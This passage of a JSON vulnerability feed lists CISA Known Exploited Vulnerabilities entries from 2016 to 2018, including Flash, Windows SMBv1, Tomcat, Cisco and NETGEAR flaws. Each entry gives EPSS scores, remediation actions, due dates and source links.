score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-1555&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-1555, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-4171","cveId":"CVE-2016-4171","aliases":[],"kind":"vulnerability","title":"Adobe Flash Player Remote Code Execution Vulnerability","summary":"Unspecified vulnerability in Adobe Flash Player allows for remote code execution.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life and should be disconnected if still in use.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Flash Player","stacks":["Adobe","Flash Player"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"The impacted product is end-of-life and should be disconnected if still in use.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.20055,"percentile":0.97424,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-4171&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-4171","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-4171 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-4171&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-4171, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-7892","cveId":"CVE-2016-7892","aliases":[],"kind":"vulnerability","title":"Adobe Flash Player Use-After-Free Vulnerability","summary":"Adobe Flash Player has an exploitable use-after-free vulnerability in the TextField class.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life and should be disconnected if still in use.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"Flash Player","stacks":["Adobe","Flash Player"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"The impacted product is end-of-life and should be disconnected if still in use.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.18786,"percentile":0.97258,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-7892&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-7892","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-7892 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-7892&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-7892, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-0146","cveId":"CVE-2017-0146","aliases":[],"kind":"vulnerability","title":"Microsoft Windows SMB Remote Code Execution Vulnerability","summary":"The SMBv1 server in Microsoft Windows allows remote attackers to perform remote code execution.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.89755,"percentile":0.99787,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-0146&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-0146","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-0146 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-0146&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-0146, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-12615","cveId":"CVE-2017-12615","aliases":[],"kind":"vulnerability","title":"Apache Tomcat on Windows Remote Code Execution Vulnerability","summary":"When running Apache Tomcat on Windows with HTTP PUTs enabled, it is possible to upload a JSP file to the server via a specially crafted request. This JSP could then be requested and any code it contained would be executed by the server.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"Apache","product":"Tomcat","stacks":["Apache Tomcat","Apache","Tomcat"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99707,"percentile":0.99951,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-12615&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-12615","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-12615 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-12615&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-12615, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-12617","cveId":"CVE-2017-12617","aliases":[],"kind":"vulnerability","title":"Apache Tomcat Remote Code Execution Vulnerability","summary":"When running Apache Tomcat, it is possible to upload a JSP file to the server via a specially crafted request. This JSP could then be requested and any code it contained would be executed by the server.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"Apache","product":"Tomcat","stacks":["Apache Tomcat","Apache","Tomcat"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99968,"percentile":0.99977,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-12617&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-12617","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-12617 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-12617&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-12617, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-3881","cveId":"CVE-2017-3881","aliases":[],"kind":"vulnerability","title":"Cisco IOS and IOS XE Remote Code Execution Vulnerability","summary":"A vulnerability in the Cisco Cluster Management Protocol (CMP) processing code in Cisco IOS and Cisco IOS XE Software could allow an unauthenticated, remote attacker to cause a reload of an affected device or remotely execute code with elevated privileges.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"IOS and IOS XE","stacks":["Cisco","IOS and IOS XE"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.9895,"percentile":0.99928,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-3881&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-3881","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-3881 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-3881&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-3881, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-6316","cveId":"CVE-2017-6316","aliases":[],"kind":"vulnerability","title":"Citrix Multiple Products Remote Code Execution Vulnerability","summary":"A vulnerability has been identified in the management interface of Citrix NetScaler SD-WAN Enterprise and Standard Edition and Citrix CloudBridge Virtual WAN Edition that could result in an unauthenticated, remote attacker being able to execute arbitrary code as a root user. This vulnerability also affects XenMobile Server.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"Citrix","product":"NetScaler SD-WAN Enterprise, CloudBridge Virtual WAN, and XenMobile Server","stacks":["Citrix NetScaler","Citrix","NetScaler SD-WAN Enterprise, CloudBridge Virtual WAN, and XenMobile Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.7303,"percentile":0.99451,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-6316&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-6316","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-6316 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-6316&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-6316, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2017-6334","cveId":"CVE-2017-6334","aliases":[],"kind":"vulnerability","title":"NETGEAR DGN2200 Devices OS Command Injection Vulnerability","summary":"dnslookup.cgi on NETGEAR DGN2200 devices with firmware through 10.0.0.50 allows remote authenticated users to execute arbitrary OS commands","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"The impacted product is end-of-life and should be disconnected if still in use.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"NETGEAR","product":"DGN2200 Devices","stacks":["Netgear","NETGEAR","DGN2200 Devices"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"The impacted product is end-of-life and should be disconnected if still in use.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.7264,"percentile":0.99439,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2017-6334&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2017-6334","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2017-6334 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2017-6334&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2017-6334, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-0125","cveId":"CVE-2018-0125","aliases":[],"kind":"vulnerability","title":"Cisco VPN Routers Remote Code Execution Vulnerability","summary":"A vulnerability in the web interface of the Cisco VPN Routers could allow an unauthenticated, remote attacker to execute arbitrary code as root and gain full control of an affected system.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"VPN Routers","stacks":["Cisco","VPN Routers"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.55186,"percentile":0.99022,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-0125&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-0125","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-0125 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-0125&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-0125, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-0147","cveId":"CVE-2018-0147","aliases":[],"kind":"vulnerability","title":"Cisco Secure Access Control System Java Deserialization Vulnerability","summary":"A vulnerability in Java deserialization used by Cisco Secure Access Control System (ACS) could allow an unauthenticated, remote attacker to execute arbitrary commands on an affected device. The vulnerability is due to insecure deserialization of user-supplied content by the affected software.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"Secure Access Control System (ACS)","stacks":["Cisco","Java","Secure Access Control System (ACS)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.18212,"percentile":0.97189,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-0147&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-0147","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-0147 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-0147&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-0147, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-11138","cveId":"CVE-2018-11138","aliases":[],"kind":"vulnerability","title":"Quest KACE System Management Appliance Remote Command Execution Vulnerability","summary":"The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance is accessible by anonymous users and can be abused to perform remote code execution.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"Quest","product":"KACE System Management Appliance","stacks":["Quest","KACE System Management Appliance"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.91719,"percentile":0.99814,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-11138&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-11138","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-11138 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-11138&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-11138, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-1273","cveId":"CVE-2018-1273","aliases":[],"kind":"vulnerability","title":"VMware Tanzu Spring Data Commons Property Binder Vulnerability","summary":"Spring Data Commons contains a property binder vulnerability which can allow an attacker to perform remote code execution.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"VMware Tanzu","product":"Spring Data Commons","stacks":["VMware","VMware Tanzu","Spring Data Commons"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.96956,"percentile":0.99889,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-1273&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-1273","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-1273 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-1273&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-1273, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-14839","cveId":"CVE-2018-14839","aliases":[],"kind":"vulnerability","title":"LG N1A1 NAS Remote Command Execution Vulnerability","summary":"LG N1A1 NAS 3718.510 is affected by a remote code execution vulnerability.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"LG","product":"N1A1 NAS","stacks":["LG","N1A1 NAS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.89246,"percentile":0.99779,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-14839&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-14839","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-14839 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-14839&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-14839, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-6961","cveId":"CVE-2018-6961","aliases":[],"kind":"vulnerability","title":"VMware SD-WAN Edge by VeloCloud Command Injection Vulnerability","summary":"VMware SD-WAN Edge by VeloCloud contains a command injection vulnerability in the local web UI component. Successful exploitation of this issue could result in remote code execution.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"VMware","product":"SD-WAN Edge","stacks":["VMware","Arista","SD-WAN Edge"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.85342,"percentile":0.99715,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2018-6961&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2018-6961","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-25","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2018-6961 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2018-6961&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2018-6961, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2018-8373","cveId":"CVE-2018-8373","aliases":[],"kind":"vulnerability","title":"Microsoft Scripting Engine Memory Corruption Vulnerability","summary":"A remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer.","detail":"CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-25","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Internet Explorer Scripting Engine","stacks":["Microsoft","Internet Explorer Scripting Engine"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-25","dueAt":"2022-04-15","action":"Apply updates per vendor 